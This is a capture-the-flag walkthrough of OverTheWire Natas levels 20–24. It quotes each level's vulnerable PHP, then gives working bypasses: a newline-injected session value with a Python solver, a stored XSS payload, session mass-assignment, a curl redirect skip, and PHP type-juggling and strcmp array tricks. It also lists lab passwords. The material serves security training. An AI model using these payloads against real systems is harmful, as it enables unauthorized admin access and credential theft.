Yes I realize my numbering has been off, time to fix that here...
Natas20
Username: natas20
Password: eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF
URL: http://natas20.natas.labs.overthewire.org
<?
function debug($msg) { /* {{{ */
if(array_key_exists("debug", $_GET)) {
print "DEBUG: $msg<br>";
}
}
/* }}} */
function print_credentials() { /* {{{ */
if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
print "You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas21\n";
print "Password: <censored></pre>";
} else {
print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21.";
}
}
/* }}} */
function myread($sid) {
debug("MYREAD $sid");
if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
debug("Invalid SID");
return "";
}
$filename = session_save_path() . "/" . "mysess_" . $sid;
if(!file_exists($filename)) {
debug("Session file doesn't exist");
return "";
}
debug("Reading from ". $filename);
$data = file_get_contents($filename);
$_SESSION = array();
foreach(explode("\n", $data) as $line) {
debug("Read [$line]");
$parts = explode(" ", $line, 2);
if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1];
}
return session_encode();
}
function mywrite($sid, $data) {
// $data contains the serialized version of $_SESSION
// but our encoding is better
debug("MYWRITE $sid $data");
// make sure the sid is alnum only!!
if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
debug("Invalid SID");
return;
}
$filename = session_save_path() . "/" . "mysess_" . $sid;
$data = "";
debug("Saving in ". $filename);
ksort($_SESSION);
foreach($_SESSION as $key => $value) {
debug("$key => $value");
$data .= "$key $value\n";
}
file_put_contents($filename, $data);
chmod($filename, 0600);
}
session_set_save_handler(
"myopen",
"myclose",
"myread",
"mywrite",
"mydestroy",
"mygarbage");
session_start();
if(array_key_exists("name", $_REQUEST)) {
$_SESSION["name"] = $_REQUEST["name"];
debug("Name set to " . $_REQUEST["name"]);
}
print_credentials();
$name = "";
if(array_key_exists("name", $_SESSION)) {
$name = $_SESSION["name"];
}
?>
<form action="index.php" method="POST">
Your name: <input name="name" value="<?=$name?>"><br>
<input type="submit" value="Change name" />
</form>
XSS Vulnerability
There's a stored XSS vulnerability here by inputting the following name:
"><script>alert('doot')</script>
But this doesn't do anything for us (at least yet) since we would need to know a user's PHPSESSID
to spoof and write to their session file.
strspn
This is another way to verify if any "illegal characters" are present in a string. This is similar to preg_match
. This function takes a string of input to check, and a string for valid characters. It will go through until it hits the first chracter not in the valid character set or end of string and returns the index. Checking against strlen
will ensure that the end of the input is all of the characters in the string.
session_set_save_handler
This function allows developers to create custom handlers for the session behavior. In this case I am looking at the myread
and mywrite
, which reads and writes a session file to disk.
Running the PHP locally with a few changes, I notice that the mywrite
gets called when the name gets changed, and read when the page is loaded. This is nice that we don't have to end a session to get the session saved (which we don't have any way to do).
explode
The explode
function splits the contents of the saved session file by \n
, then the key value pairs are split by a space. There are no input restrictions to the name, which means we can add the newline character \n
. After that we can add admin 1
and have it parsed as a new session variable.
#!/usr/bin/env python3
import requests
from bs4 import BeautifulSoup
url = 'http://natas20.natas.labs.overthewire.org/index.php'
username = "natas20"
password = "eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF"
natas_session = requests.Session()
cookie = {"PHPSESSID": "phsc138"}
post_data = {"name": "\nadmin 1"}
# Set name
response = natas_session.post(url, auth=(username, password), cookies=cookie, data=post_data)
# Get creds with read :)
response = natas_session.get(url, auth=(username, password), cookies=cookie)
soup = BeautifulSoup(response.text, "html.parser")
content = soup.find("div", {"id": "content"})
if content is not None:
content = content.decode_contents()
print(content)
This solver sets the name variable, then requests the page again to read the password.

Natas21
Username: natas21
Password: IFekPyrQXftziDEsUr3x21sYuahypdgJ
URL: http://natas21.natas.labs.overthewire.org


This challenge is separated across 2 sub-domains, the main page, and an "experimenter". The main page has the print_credentials()
function, again checking if the admin
session variable is set to 1
. The experimenter has a little more code to set the values, but the following snippet jumped out at me while I was reading it.
// if update was submitted, store it
if(array_key_exists("submit", $_REQUEST)) {
foreach($_REQUEST as $key => $val) {
$_SESSION[$key] = $val;
}
}
This snippet takes all of the elements in the $_REQUEST
and saves them into the $_SESSION
object. My thoughts here are pretty simple: we can directly write whatever key value pair we want.
I did all of the work for this in the html inspector itself as it wasn't super complex.
The first step is to make sure the session cookies for both domains match using the storage tab in Firefox. The second step is to add an input to the experimenter with the name admin
and the value "1"
.

Another way would be to add a hidden input, or just use cURL or python requests like I did in the previous solution.
After the experimenter has been updated (click the update button), refresh the natas21 main page to get the password.

Natas22
Username: natas22
Password: chG9fbe1Tq2eWVMgjYYD1MsfIvN461kJ
URL: http://natas22.natas.labs.overthewire.org
The index of this page is just the view sourcecode button, so not interesting enough to take a screenshot of...
<?
session_start();
if(array_key_exists("revelio", $_GET)) {
// only admins can reveal the password
if(!($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1)) {
header("Location: /");
}
}
?>
<?
if(array_key_exists("revelio", $_GET)) {
print "You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas23\n";
print "Password: <censored></pre>";
}
?>
The only 2 PHP sections are the ones above. If the revelio
query string exists, create a redirect header to /
(which would remove the query string from the url)
I guess I'll use cURL for this one since it doesn't follow redirects by default
curl --user natas22:chG9fbe1Tq2eWVMgjYYD1MsfIvN461kJ http://natas22.natas.labs.overthewire.org/index.php\?revelio\=1

Another possible solution here is to use an intercepting proxy like ZAP or Burp and capture the password that way, but that's a lot more overhead to get the same result.
Natas23
Username: natas23
Password: D0vlad33nQF0Hz2EP255TP5wSW9ZsRSE
URL: http://natas23.natas.labs.overthewire.org
<?php
if(array_key_exists("passwd",$_REQUEST)){
if(strstr($_REQUEST["passwd"],"iloveyou") && ($_REQUEST["passwd"] > 10 )){
echo "<br>The credentials for the next level are:<br>";
echo "<pre>Username: natas24 Password: <censored></pre>";
}
else{
echo "<br>Wrong!<br>";
}
}
// morla / 10111
?>
The strstr
function finds the index of the second parameter and returns it. The second clause of the if statement is comparing the string to greater than or equal to 10?

Let's compare the string to the boolean true:

Output is true (1
) when there is an output from strstr
and it's logically anded with true
. Nothing is returned when changing the boolean value to false
.
Here's the output of the strstr command using a number at the start of the iloveyou
string.

From the above, we can see that it will evaluate the left side of the statement to be true, but we have to check the right side that compares the string to be greater than 10.

We can see that the string is being implicitly cast to a number, which is then compared to 10. 11iloveyou
will bypass the check and give the natas24 credentials.

Natas24
Username: natas24
Password: OsRmXFguozKpTZZ5X14zNO43379LZveg
URL: http://natas24.natas.labs.overthewire.org
<?php
if(array_key_exists("passwd",$_REQUEST)){
if(!strcmp($_REQUEST["passwd"],"<censored>")){
echo "<br>The credentials for the next level are:<br>";
echo "<pre>Username: natas25 Password: <censored></pre>";
}
else{
echo "<br>Wrong!<br>";
}
}
// morla / 10111
?>
!strcmp
This is a weird way to do strcmp
... The !
logical operator in PHP should return true if the result is false, or 0, so let's check that with some php:
<?php
if (!0) {
echo "!0".PHP_EOL;
}
if (!1) {
echo "!1".PHP_EOL;
}
if (!false) {
echo "!false".PHP_EOL;
}
if (!true) {
echo "!true".PHP_EOL;
}
if (!array()) {
echo "!array()".PHP_EOL;
}
if (!null) {
echo "!null".PHP_EOL;
}
if (!"") {
echo "!''".PHP_EOL;
}
?>
All this is doing is checking to see if the value is true and printing out what condition it was.

Like I expected !0 and !false evaluated to true, but the !array, !null, and !'' (empty string) also resulted in true.
Let's look at the PHP manual for strcmp
https://www.php.net/manual/en/function.strcmp.php
The top comment is:
If you rely on strcmp for safe string comparisons, both parameters must be strings, the result is otherwise extremely unpredictable.
For instance you may get an unexpected 0, or return values of NULL, -2, 2, 3 and -3.
strcmp("5", 5) => 0
strcmp("15", 0xf) => 0
strcmp(61529519452809720693702583126814, 61529519452809720000000000000000) => 0
strcmp(NULL, false) => 0
strcmp(NULL, "") => 0
strcmp(NULL, 0) => -1
strcmp(false, -1) => -2
strcmp("15", NULL) => 2
strcmp(NULL, "foo") => -3
strcmp("foo", NULL) => 3
strcmp("foo", false) => 3
strcmp("foo", 0) => 1
strcmp("foo", 5) => 1
strcmp("foo", array()) => NULL + PHP Warning
strcmp("foo", new stdClass) => NULL + PHP Warning
strcmp(function(){}, "") => NULL + PHP Warning
Always check the comments for the PHP docs, there's always something good in them! The top line states that the results are unpredictable if both parameters aren't strings! This comment also contains the outputs of strcmp
with types other than strings. This is what I was looking for since I remember that you can pass an array into PHP and it'll typically do weird things if it expects a string. In this case the string && array strcmp will return a null!
Using the tests I did above the !null
should return true and give us the creds.
But how do I send an array to PHP? – Off to Google I go!
https://owasp.org/www-pdf-archive/PHPMagicTricks-TypeJuggling.pdf
Fun fact I had already clicked on this OWASP presentation, the link was purple! I knew I had read something about this before :)
On slide 35 I found the slide about sending arrays, and there's an example with strcmp
here as well.
To send an array, you'd change the body or querystring from password="some string"
, to password[]=
.
I was confused on how arrays were sent in HTTP, but it looks like you can index your array like so: array[0]=doot&array[1]=doot2
All we're doing with password[]=
is creating an empty array.
